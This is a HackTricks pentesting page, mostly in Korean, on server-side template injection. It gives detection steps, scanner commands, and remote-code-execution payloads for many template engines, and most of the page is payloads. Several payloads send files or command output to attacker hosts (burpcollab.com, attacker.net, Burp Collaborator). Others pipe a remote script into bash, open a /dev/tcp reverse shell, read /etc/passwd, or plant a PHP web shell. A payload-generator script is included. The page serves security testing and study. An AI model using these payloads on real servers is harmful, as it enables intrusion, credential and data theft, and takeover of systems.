hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

46 KiB
Raw Blame History

SSTI (Server Side Template Injection)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

{% embed url="https://www.rootedcon.com/" %}

What is SSTI (Server-Side Template Injection)

서버 측 템플릿 주입(SSTI)은 공격자가 서버에서 실행되는 템플릿에 악성 코드를 주입할 수 있을 때 발생하는 취약점입니다. 이 취약점은 Jinja를 포함한 다양한 기술에서 발견될 수 있습니다.

Jinja는 웹 애플리케이션에서 사용되는 인기 있는 템플릿 엔진입니다. Jinja를 사용한 취약한 코드 조각을 보여주는 예를 고려해 보겠습니다:

output = template.render(name=request.args.get('name'))

이 취약한 코드에서 사용자의 요청으로부터 name 매개변수가 render 함수를 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 name 매개변수에 악성 코드를 주입할 수 있게 하여 서버 측 템플릿 주입으로 이어질 수 있습니다.

예를 들어, 공격자는 다음과 같은 페이로드를 포함한 요청을 만들 수 있습니다:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}}name 매개변수에 주입됩니다. 이 페이로드는 공격자가 무단 코드를 실행하거나 템플릿 엔진을 조작할 수 있게 해주는 Jinja 템플릿 지시어를 포함할 수 있으며, 잠재적으로 서버에 대한 제어를 얻을 수 있습니다.

서버 측 템플릿 주입 취약점을 방지하기 위해 개발자는 사용자 입력이 템플릿에 삽입되기 전에 적절하게 정리되고 검증되도록 해야 합니다. 입력 검증을 구현하고 컨텍스트 인식 이스케이프 기술을 사용하는 것은 이 취약점의 위험을 완화하는 데 도움이 될 수 있습니다.

Detection

서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 템플릿 퍼징이 간단한 접근 방식입니다. 이는 특수 문자 시퀀스(${{<%[%'"}}%\)를 템플릿에 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드의 차이를 분석하는 것을 포함합니다. 취약점 지표에는 다음이 포함됩니다:

  • 취약점을 드러내는 오류 발생 및 잠재적으로 템플릿 엔진.
  • 반사에서 페이로드가 없거나 일부가 누락되어 서버가 이를 일반 데이터와 다르게 처리함을 암시.
  • 평문 컨텍스트: 서버가 템플릿 표현식을 평가하는지 확인하여 XSS와 구별합니다 (예: {{7*7}}, ${7*7}).
  • 코드 컨텍스트: 입력 매개변수를 변경하여 취약점을 확인합니다. 예를 들어, http://vulnerable-website.com/?greeting=data.username에서 greeting을 변경하여 서버의 출력이 동적 또는 고정인지 확인합니다. 예를 들어, greeting=data.username}}hello가 사용자 이름을 반환하는지 확인합니다.

Identification Phase

템플릿 엔진을 식별하기 위해 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트합니다. 오류를 유발하는 일반적인 페이로드에는 ${7/0}, {{7/0}}, <%= 7/0 %>가 포함됩니다. 수학 연산에 대한 서버의 응답을 관찰하면 특정 템플릿 엔진을 파악하는 데 도움이 됩니다.

Tools

TInjA

효율적인 SSTI + CSTI 스캐너로, 새로운 폴리글롯을 활용합니다.

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

가장 효율적인 템플릿 인젝션 폴리글롯과 44개의 가장 중요한 템플릿 엔진의 예상 응답을 포함하는 인터랙티브 테이블입니다.

Exploits

Generic

wordlist에서는 아래에 언급된 일부 엔진의 환경에서 정의된 변수를 찾을 수 있습니다:

Java

Java - 기본 인젝션

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - 시스템의 환경 변수 가져오기

${T(java.lang.System).getenv()}

Java - /etc/passwd 가져오기

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

당신은 https://try.freemarker.apache.org에서 페이로드를 시도할 수 있습니다.

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - 샌드박스 우회

⚠️ 2.3.30 이하의 Freemarker 버전에서만 작동합니다.

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

더 많은 정보

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

더 많은 정보

타임리프

타임리프에서 SSTI 취약성을 테스트하는 일반적인 방법은 표현식 ${7*7}이며, 이 템플릿 엔진에도 적용됩니다. 원격 코드 실행 가능성을 위해 다음과 같은 표현식을 사용할 수 있습니다:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

타임리프는 이러한 표현식이 특정 속성 내에 배치되도록 요구합니다. 그러나 _표현식 인라인_은 [[...]] 또는 [(...)]와 같은 구문을 사용하여 다른 템플릿 위치에 대해 지원됩니다. 따라서 간단한 SSTI 테스트 페이로드는 [[${7*7}]]와 같이 보일 수 있습니다.

그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. 타임리프의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉석으로 템플릿을 생성하기 위해 자신의 TemplateResolver를 구현해야 하며, 이는 드뭅니다.

타임리프는 또한 _표현식 전처리_를 제공하며, 이중 밑줄(__...__) 내의 표현식이 전처리됩니다. 이 기능은 타임리프 문서에서 보여준 것처럼 표현식 구성에 활용될 수 있습니다:

#{selection.__${sel.code}__}

Thymeleaf의 취약점 예시

다음 코드 조각을 고려해 보십시오. 이는 악용될 수 있습니다:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

이것은 템플릿 엔진이 이러한 입력을 잘못 처리할 경우, 다음과 같은 URL에 접근하여 원격 코드 실행으로 이어질 수 있음을 나타냅니다:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

더 많은 정보

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

스프링 프레임워크 (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

필터 우회

여러 변수 표현식을 사용할 수 있습니다. ${...}가 작동하지 않으면 #{...}, *{...}, @{...} 또는 ~{...}를 시도해 보세요.

  • /etc/passwd 읽기
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • 페이로드 생성을 위한 사용자 정의 스크립트
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

추가 정보

스프링 뷰 조작 (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble의 이전 버전 ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

새로운 Pebble 버전:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava는 Hubspot에서 개발한 오픈 소스 프로젝트로, https://github.com/HubSpot/jinjava/에서 확인할 수 있습니다.

Jinjava - 명령 실행

https://github.com/HubSpot/jinjava/pull/230에서 수정됨.

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

더 많은 정보

Hubspot - HuBL (Java)

  • {% %} 문(statement) 구분자
  • {{ }} 표현(expression) 구분자
  • {# #} 주석(comment) 구분자
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest"를 검색하고 Jinjava 프로젝트를 Github에서 발견했습니다.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

더 많은 정보

표현 언어 - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호작용을 촉진하는 기본 기능입니다. 여러 JavaEE 기술에서 이 통신을 간소화하기 위해 광범위하게 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다:

  • JavaServer Faces (JSF): JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 작업에 바인딩하기 위해 EL을 사용합니다.
  • JavaServer Pages (JSP): JSP에서 데이터에 접근하고 조작하기 위해 EL을 사용하여 페이지 요소를 애플리케이션 데이터에 쉽게 연결할 수 있습니다.
  • Java EE를 위한 컨텍스트 및 의존성 주입 (CDI): EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호작용을 허용하여 보다 일관된 애플리케이션 구조를 보장합니다.

EL 인터프리터의 악용에 대해 더 알아보려면 다음 페이지를 확인하세요:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

다음 보안 관리자 우회는 이 작성물에서 가져왔습니다.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

더 많은 정보

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - 템플릿 형식

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

더 많은 정보

Plates (PHP)

Plates는 PHP에 고유한 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 새로운 구문을 도입하는 Twig와 달리, Plates는 템플릿에서 기본 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

페이지 템플릿:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

레이아웃 템플릿:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

더 많은 정보

PHPlib 및 HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB는 PHPlib와 동일하지만 Pear로 포팅되었습니다.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

더 많은 정보

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

더 많은 정보

patTemplate (PHP)

patTemplate 는 XML 태그를 사용하여 문서를 여러 부분으로 나누는 비컴파일 PHP 템플릿 엔진입니다.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

더 많은 정보

Handlebars (NodeJS)

경로 탐색 (자세한 정보는 여기에서 확인하세요).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = 오류
  • ${7*7} = ${7*7}
  • 없음
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

더 많은 정보

JsRender (NodeJS)

템플릿 설명
출력 평가 및 렌더링
HTML 인코딩된 출력 평가 및 렌더링
주석
코드 허용 (기본적으로 비활성화됨)
  • = 49

클라이언트 측

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

서버 사이드

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

더 많은 정보

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

예제 서버 사이드 렌더

var pugjs = require('pug');
home = pugjs.render(injected_page)

더 많은 정보

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = 출력 없음
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = 오류
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

더 많은 정보

ERB (루비)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

더 많은 정보

Slim (루비)

  • { 7 * 7 }
{ %x|env| }

더 많은 정보

Python

다음 페이지를 확인하여 python에서 샌드박스를 우회하는 임의 명령 실행에 대한 요령을 배워보세요:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}






{{os.system('whoami')}}
{{os.system('whoami')}}

더 많은 정보

Jinja2 (Python)

공식 웹사이트

Jinja2는 Python을 위한 완전한 기능의 템플릿 엔진입니다. 완전한 유니코드 지원, 선택적 통합 샌드박스 실행 환경을 제공하며, 널리 사용되고 BSD 라이센스를 가지고 있습니다.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - 템플릿 형식

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE는 __builtins__에 의존하지 않습니다:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja를 악용하는 방법에 대한 자세한 내용:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

다른 페이로드는 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

더 많은 정보

Razor (.Net)

  • @(2+2) <= 성공
  • @() <= 성공
  • @("{{code}}") <= 성공
  • @ <= 성공
  • @{} <= 오류!
  • @{ <= 오류!
  • @(1+2)
  • @( //C#코드 )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
